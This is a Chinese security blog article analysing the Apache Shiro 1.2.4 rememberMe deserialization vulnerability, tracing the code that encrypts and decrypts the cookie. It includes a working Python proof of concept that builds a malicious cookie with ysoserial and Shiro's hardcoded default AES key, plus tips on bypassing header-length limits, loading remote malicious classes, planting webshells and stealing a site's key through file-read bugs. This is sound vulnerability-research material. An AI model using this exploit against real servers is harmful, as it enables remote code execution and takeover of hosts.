freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Z3专栏 | Shiro反序列化分析
2022-01-02 09:13:42
所属地 辽宁省

环境搭建

首先github下载
https://github.com/apache/shiro/archive/refs/tags/shiro-root-1.2.4.zip
使用IDEA打开,等待下载依赖,有点慢

下载完依赖后,打开samples/web/pom.xml
如图,添加如下

添加后更新maven依赖

然后配置tomcat,注意端口可能会冲突

都配置好后,点击调试,打开如下页面就是成功了

如图登录,勾选Remember Me,点击登录,抓包

如图,看到rememberMe字段

了解项目

在开始前先简单了解下shiro,如图

看一下网站目录结构

看下login.jsp
文件的开始,导入了include.jsp

<%@ include file="include.jsp" %>

include.jsp内容如下

<%@ page import="org.apache.shiro.SecurityUtils" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %>
<%@ taglib prefix="shiro" uri="http://shiro.apache.org/tags" %>

这样一来,就可以使用<c:out>标签输出数据、使用<c:if>像平时使用if一样、使用fmt:parseNumber解析数据、使用shiro:guest设置标签内的权限为guest等等操作(所以相当于从远程导入库,使用prefix设置前缀,下次使用前缀就可以调用库里的功能了)
这里远程调用的库文件是.tld结尾的文件

如图,shiro:guest标签的内容,只有当前权限是guest时,才能看见

再看下home.jsp
这一段标签,如果权限是guest表示还未登陆,就会提示登录信息。如果登录成功,则是:Hi XXX ! ( Log out )

shiro.ini配置如图,具体什么意思一目了然

大概就粗略了解这些吧

漏洞分析

shiro核心源码在这里

如图,在这里看见了硬编码的key

思考一下在哪里加断点
Remember me的作用就是,一次登录,后面在有效期内免登录。
那么登录后,每次访问home页面,都会对身份校验,解析Cookies中的RememberMe,所以只要找到解析Cookie的函数就可以

加密过程

翻看当前类看到onSuccessfulLogin方法,应该是登录成功后调用,加断点,登录时成功拦截
看一下函数,猜测是先清除之前的Identity,然后创建新Identity(防止之前的认证信息被复用)

进入rememberIdentity方法,如图,先将身份信息转byte,再将它序列化

convertPrincipalsToBytes函数如图,先将身份信息序列化为byte数组,再加密,返回

再进入rememberSerializedIdentity方法,如图
将身份信息序列化,写入Cookie

以上就是生成RememberMe的过程,经历过了加密,那使用到RememberMe的时候一定会经历解密

解密过程

在encrypt方法所在类(AbstractRememberMeManager类),发现了decrypt方法,如图,加断点

在使用到RememberMe是一定会用到decrypt,home.jsp页面对身份信息是有校验的,所以在decrypt方法加断点,再访问home.jsp页面,应该会进入decrypt方法的断点

但是失败了,,根本没调用decrypt方法

burp抓包看一下,如图Cookie包含JSESSIONID和rememberMe

猜测,当JSESSIONID未失效时,不会用到rememberMe,所以将JSESSIONID删掉,再发包试试
如图,成功进入decrypt方法

调用栈如图

查看之前的调用栈,发现,在ShiroFilter里,使用request、response对象,创建了subjectContext
然后如图,从subjectContext中提取Identity(Identity应该包含了RememberMe的信息)

然后对Identity解密

可惜,没看见rememberMe

看下getRememberedSerializedIdentity方法,如何从subjectContext提取Identity的
如图,从subjectContext中又解析出request和response了,然后获取到了cookie。这里的base64正是burp传入的RememberMe

然后对RememberMe执行ensurePadding方法,然后base64解码,返回

看下ensurePadding方法,如图,是填充=的

好了现在再回到decrypt方法,这里的encrypted就是base64解码后的RememberMe
首先通过CipherService对象,对RememberMe解密,然后返回byte数组

继续跟踪,看后面如何对这个byte数组反序列化的
如图byte转Principals方法,调用了反序列化方法

如图,这就直接反序列化了

构造payload

知道了加密、解密、反序列化过程,构造payload就很容易了
先弄一个恶意序列化对象(可以用ysoserial库生成),然后调用AbstractRememberMeManager.encrypt方法加密,再base64编码,就ok

看一下AbstractRememberMeManager.encrypt方法如何加密的
如图,getEncryptionCipherKey()获取到的是硬编码的key

如图,最终跟踪到这里,使用javax.crypto.Cipher对象进行加密的,这里的mode是加密模式(这里的mode对应模式是AES的CBC模式),key就是shirokey,iv是向量,不同的iv生成的加密结果不同,解密时需要使用相同的iv才能解密

看下iv的生成方式,,随机生成的

看下解密的iv获取方式,直接取加密的序列化对象前16位做iv

因为在加密时,iv会拼接在加密结果前面,所以加密后的内容前16位就是iv(iv作用就是可以使每次加密结果都不一样,不是用来解密的,所以可以直接明文,key才是用来解密的)

现在知道了加密方式
RememberMe是使用AES加密的序列化对象
那就很简单了,可以先用ysoserial生成payload,然后用python对它AES加密,key就是ShiroKey
python脚本如下

# -*-* coding:utf-8
# @Time    :  2020/10/16 17:36
# @Author  : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog    :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def rememberme(command):
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
                             stdout=subprocess.PIPE)
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    # payload = encode_rememberme('127.0.0.1:12345')
    # payload = rememberme('calc.exe')
    payload = rememberme('http://u89cy6.dnslog.cn')
    with open("./payload.cookie", "w") as fpw:

        print("rememberMe={}".format(payload.decode()))
        res = "rememberMe={}".format(payload.decode())
        fpw.write(res)

ShiroKey验证

现在已知反序列化漏洞,可以构造payload了
但是key需要猜,怎么验证是否被解密成功,反序列化成功?
常见的方式有很多种

  1. dnslog(dnslog需要机器出网)

  2. 延时

  3. 回显

  4. 直接打内存马,写webshell等操作

回显的问题后面再说,和JNDI注入的回显一起说

长度限制绕过

如果反序列化利用链太长,导致payload过长,超过了Header的max size,就会出问题

解决方法

  1. 先构造个payload,通过反射修改org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,把这个值改大一点

  2. 使用CloassLoader,加载远程恶意类(需要机器出网,不出网的话,可以配合本地文件上传,例如上传头像之类的)

  3. 使用body传递字节码,加载body中的class

实战利用

实战中,网站可能会有任意文件读取漏洞,而且刚好用了shiro
那就可以通过任意文件读取,读取ShiroKey,然后通过shiro反序列化,获得主机权限
路径一般是网站目录下的/WEB-INF/classes/spring-shrio.xml或spring-context-shiro.xml等

HW时可能需要暂时修改key,防止当前点被友商攻击,那可以通过反射,修改DEFAULT CIPHER KEY的值,,由于当前DEFAULT CIPHER KEY的值存于JVM方法区,当站点重启时,又会重新加载类,JVM中的key就会恢复,所以这种方式修改是暂时的
如果想永久的修改key,可以修改或设置Shiro的配置文件

Shiro 721

推荐下面文章,我就不分析了
参考文章 https://www.anquanke.com/post/id/193165

总结

本篇介绍了Shiro 550的漏洞产生原因、header长度限制绕过方式、实战利用方式等

# java漏洞 # java # java反序列化 # Java代码审计 # JAVA安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录